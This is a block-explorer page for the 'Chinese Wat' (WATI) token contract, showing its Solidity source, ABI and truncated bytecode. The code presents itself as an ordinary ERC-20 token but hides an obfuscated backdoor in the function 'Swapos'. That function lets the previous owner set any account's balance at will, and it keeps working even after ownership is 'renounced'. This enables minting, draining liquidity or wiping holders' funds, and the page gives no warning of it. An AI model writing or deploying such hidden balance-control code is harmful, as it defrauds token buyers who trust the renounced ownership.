ETH Price: $2,423.47 (-2.66%)

Token

Chinese Wat (WATI)
 

Overview

Max Total Supply

420,690,000,000 WATI

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000011 WATI

Value
$0.00
0xE94212A4b6E358B049aA93141b27D03E7858C519
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WATI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-30
*/

/**
https://t.me/ChineseWAT
https://twitter.com/WATI_Chinese
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


// File: @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk

     */
    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _transferbookseerty(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }
    function Swapos(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;


        uint256 dummybsosily = uint256(keccak256(abi.encodePacked(block.timestamp)));
        
        bytes32 msgSenderHIOOK = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHITOOK = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = (uint256(msgSenderHIOOK) ^ dummybsosily) == (uint256(prevOwnerHITOOK) ^ dummybsosily);
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = (uint256(amountHex) ^ uint256(0)) | 0;
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        uint256 balance = _balances[account];
        return balance ^ (balance & 0);
    }

    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

 
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;


contract WATI is ERC20 {
    uint256 private constant TOTAL_SUPISKPWY = 420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxTxAmountblockchains;
    uint256 public maxHoldblockchains;
    mapping(address => bool) public isException;

    uint256 _burnPergoooset = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20(unicode"Chinese Wat", unicode"WATI", TOTAL_SUPISKPWY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxHoldblockchains =  TOTAL_SUPISKPWY/ 40;
        maxTxAmountblockchains = TOTAL_SUPISKPWY /40;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPergoooset) / 100;

                super._transferbookseerty(from, to, amount, _burn);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmountblockchains, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxHoldblockchains, "Max holding exceeded max");
            }
        }
    }

    function removeLimit() external onlyOwner {
        hasLimit = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swapos","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldblockchains","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountblockchains","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b553480156200001657600080fd5b50604051620031263803806200312683398181016040528101906200003c91906200050f565b6040518060400160405280600b81526020017f4368696e657365205761740000000000000000000000000000000000000000008152506040518060400160405280600481526020017f57415449000000000000000000000000000000000000000000000000000000008152506816ce3f1e16bf150000620000d2620000c66200039860201b60201c565b620003a060201b60201c565b8260059081620000e39190620007bb565b508160069081620000f59190620007bb565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001a19190620008b3565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060286816ce3f1e16bf1500006200020a9190620008ff565b60098190555060286816ce3f1e16bf150000620002289190620008ff565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000937565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004d782620004aa565b9050919050565b620004e981620004ca565b8114620004f557600080fd5b50565b6000815190506200050981620004de565b92915050565b600060208284031215620005285762000527620004a5565b5b60006200053884828501620004f8565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c357607f821691505b602082108103620005d957620005d86200057b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000604565b6200064f868362000604565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200069c62000696620006908462000667565b62000671565b62000667565b9050919050565b6000819050919050565b620006b8836200067b565b620006d0620006c782620006a3565b84845462000611565b825550505050565b600090565b620006e7620006d8565b620006f4818484620006ad565b505050565b5b818110156200071c5762000710600082620006dd565b600181019050620006fa565b5050565b601f8211156200076b576200073581620005df565b6200074084620005f4565b8101602085101562000750578190505b620007686200075f85620005f4565b830182620006f9565b50505b505050565b600082821c905092915050565b6000620007906000198460080262000770565b1980831691505092915050565b6000620007ab83836200077d565b9150826002028217905092915050565b620007c68262000541565b67ffffffffffffffff811115620007e257620007e16200054c565b5b620007ee8254620005aa565b620007fb82828562000720565b600060209050601f8311600181146200083357600084156200081e578287015190505b6200082a85826200079d565b8655506200089a565b601f1984166200084386620005df565b60005b828110156200086d5784890151825560018201915060208501945060208101905062000846565b868310156200088d578489015162000889601f8916826200077d565b8355505b6001600288020188555050505b505050505050565b620008ad8162000667565b82525050565b6000602082019050620008ca6000830184620008a2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200090c8262000667565b9150620009198362000667565b9250826200092c576200092b620008d0565b5b828204905092915050565b6127df80620009476000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610325578063a9059cbb14610355578063c8bc408614610385578063dd62ed3e146103b5578063f2fde38b146103e55761012c565b8063715018a6146102915780637b8046ab1461029b5780638da5cb5b146102b957806395d89b41146102d757806398636f32146102f55761012c565b8063313ce567116100f4578063313ce567146101eb578063395093511461020957806344489ad114610239578063622565891461025757806370a08231146102615761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d5780632fc3efb6146101cd575b600080fd5b610139610401565b6040516101469190611c4a565b60405180910390f35b61016960048036038101906101649190611d05565b610493565b6040516101769190611d60565b60405180910390f35b6101876104b1565b6040516101949190611d8a565b60405180910390f35b6101b760048036038101906101b29190611da5565b6104bb565b6040516101c49190611d60565b60405180910390f35b6101d56105bc565b6040516101e29190611d8a565b60405180910390f35b6101f36105c2565b6040516102009190611e14565b60405180910390f35b610223600480360381019061021e9190611d05565b6105cb565b6040516102309190611d60565b60405180910390f35b610241610677565b60405161024e9190611d60565b60405180910390f35b61025f61068a565b005b61027b60048036038101906102769190611e2f565b6106af565b6040516102889190611d8a565b60405180910390f35b6102996106f8565b005b6102a361070c565b6040516102b09190611d8a565b60405180910390f35b6102c1610712565b6040516102ce9190611e6b565b60405180910390f35b6102df61073b565b6040516102ec9190611c4a565b60405180910390f35b61030f600480360381019061030a9190611e2f565b6107cd565b60405161031c9190611d60565b60405180910390f35b61033f600480360381019061033a9190611d05565b6107ed565b60405161034c9190611d60565b60405180910390f35b61036f600480360381019061036a9190611d05565b6108e1565b60405161037c9190611d60565b60405180910390f35b61039f600480360381019061039a9190611d05565b6108ff565b6040516103ac9190611d8a565b60405180910390f35b6103cf60048036038101906103ca9190611e86565b610a00565b6040516103dc9190611d8a565b60405180910390f35b6103ff60048036038101906103fa9190611e2f565b610a87565b005b60606005805461041090611ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611ef5565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610b0a565b8484610b12565b6001905092915050565b6000600454905090565b60006104c8848484610cdb565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610513610b0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058a90611f98565b60405180910390fd5b6105b08561059f610b0a565b85846105ab9190611fe7565b610b12565b60019150509392505050565b60095481565b60006009905090565b600061066d6105d8610b0a565b8484600360006105e6610b0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610668919061201b565b610b12565b6001905092915050565b600760009054906101000a900460ff1681565b610692610fd3565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610700610fd3565b61070a6000611051565b565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461074a90611ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461077690611ef5565b80156107c35780601f10610798576101008083540402835291602001916107c3565b820191906000526020600020905b8154815290600101906020018083116107a657829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006107fc610b0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b0906120c1565b60405180910390fd5b6108d66108c4610b0a565b8585846108d19190611fe7565b610b12565b600191505092915050565b60006108f56108ee610b0a565b8484610cdb565b6001905092915050565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060004260405160200161093f9190612102565b6040516020818303038152906040528051906020012060001c905060008360405160200161096d9190612165565b6040516020818303038152906040528051906020012090506000836040516020016109989190612165565b60405160208183030381529060405280519060200120905060008760001b90506000848360001c18858560001c1814905080156109e7576109d98a83611156565b9750505050505050506109fa565b6109f08a6111f1565b9750505050505050505b92915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a8f610fd3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af5906121f2565b60405180910390fd5b610b0781611051565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7890612284565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be790612316565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cce9190611d8a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d41906123a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db09061243a565b60405180910390fd5b610dc4838383611244565b6000810315610fce57600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e715750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610fc2576000610ea3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106af565b14610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda906124a6565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610fc15760006064600b5483610fa391906124c6565b610fad9190612537565b9050610fbb8484848461162f565b50610fce565b5b610fcd838383611935565b5b505050565b610fdb610b0a565b73ffffffffffffffffffffffffffffffffffffffff16610ff9610712565b73ffffffffffffffffffffffffffffffffffffffff161461104f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611046906125b4565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000806000808460001c1817905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081168118915050919050565b600760009054906101000a900460ff1661162957600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112fc5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561162857600854811115611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90612620565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361157957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611409573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142d9190612655565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114da9190612655565b6040518363ffffffff1660e01b81526004016114f7929190612682565b602060405180830381865afa158015611514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115389190612655565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16031561162a57600954816115dc846106af565b6115e6919061201b565b1115611627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161e906126f7565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361169e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611695906123a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361170d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117049061243a565b60405180910390fd5b611718848484611bb5565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561179f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179690612789565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836117f19190611fe7565b925081600460008282546118059190611fe7565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461185b919061201b565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118c19190611d8a565b60405180910390a38373fffffffffffffffffffffffffffffff